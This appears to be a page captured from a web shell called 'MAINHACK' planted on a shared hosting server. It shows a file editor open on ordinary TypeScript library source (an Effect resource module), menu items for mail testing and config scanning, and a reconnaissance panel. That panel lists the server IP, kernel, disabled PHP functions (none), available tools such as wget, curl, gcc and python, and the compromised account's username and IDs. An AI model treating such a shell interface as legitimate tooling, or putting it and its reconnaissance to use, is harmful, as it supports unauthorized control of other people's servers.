[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: resource.ts
import type * as Effect from "../Effect.js" import { identity, pipe } from "../Function.js" import type * as Resource from "../Resource.js" import type * as Schedule from "../Schedule.js" import type * as Scope from "../Scope.js" import * as core from "./core.js" import * as effectable from "./effectable.js" import * as fiberRuntime from "./fiberRuntime.js" import * as schedule_ from "./schedule.js" import * as scopedRef from "./scopedRef.js" /** @internal */ const ResourceSymbolKey = "effect/Resource" /** @internal */ export const ResourceTypeId: Resource.ResourceTypeId = Symbol.for( ResourceSymbolKey ) as Resource.ResourceTypeId const resourceVariance = { /* c8 ignore next */ _E: (_: any) => _, /* c8 ignore next */ _A: (_: any) => _ } /** @internal */ const proto: ThisType<Resource.Resource<any, any>> = { ...effectable.CommitPrototype, commit() { return get(this) }, [ResourceTypeId]: resourceVariance } /** @internal */ export const auto = <A, E, R, Out, R2>( acquire: Effect.Effect<A, E, R>, policy: Schedule.Schedule<Out, unknown, R2> ): Effect.Effect<Resource.Resource<A, E>, never, R | R2 | Scope.Scope> => core.tap(manual(acquire), (manual) => fiberRuntime.acquireRelease( pipe( refresh(manual), schedule_.schedule_Effect(policy), core.interruptible, fiberRuntime.forkDaemon ), core.interruptFiber )) /** @internal */ export const manual = <A, E, R>( acquire: Effect.Effect<A, E, R> ): Effect.Effect<Resource.Resource<A, E>, never, R | Scope.Scope> => core.flatMap(core.context<R>(), (env) => pipe( scopedRef.fromAcquire(core.exit(acquire)), core.map((ref) => { const resource = Object.create(proto) resource.scopedRef = ref resource.acquire = core.provideContext(acquire, env) return resource }) )) /** @internal */ export const get = <A, E>(self: Resource.Resource<A, E>): Effect.Effect<A, E> => core.flatMap(scopedRef.get(self.scopedRef), identity) /** @internal */ export const refresh = <A, E>(self: Resource.Resource<A, E>): Effect.Effect<void, E> => scopedRef.set( self.scopedRef, core.map(self.acquire, core.exitSucceed) )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344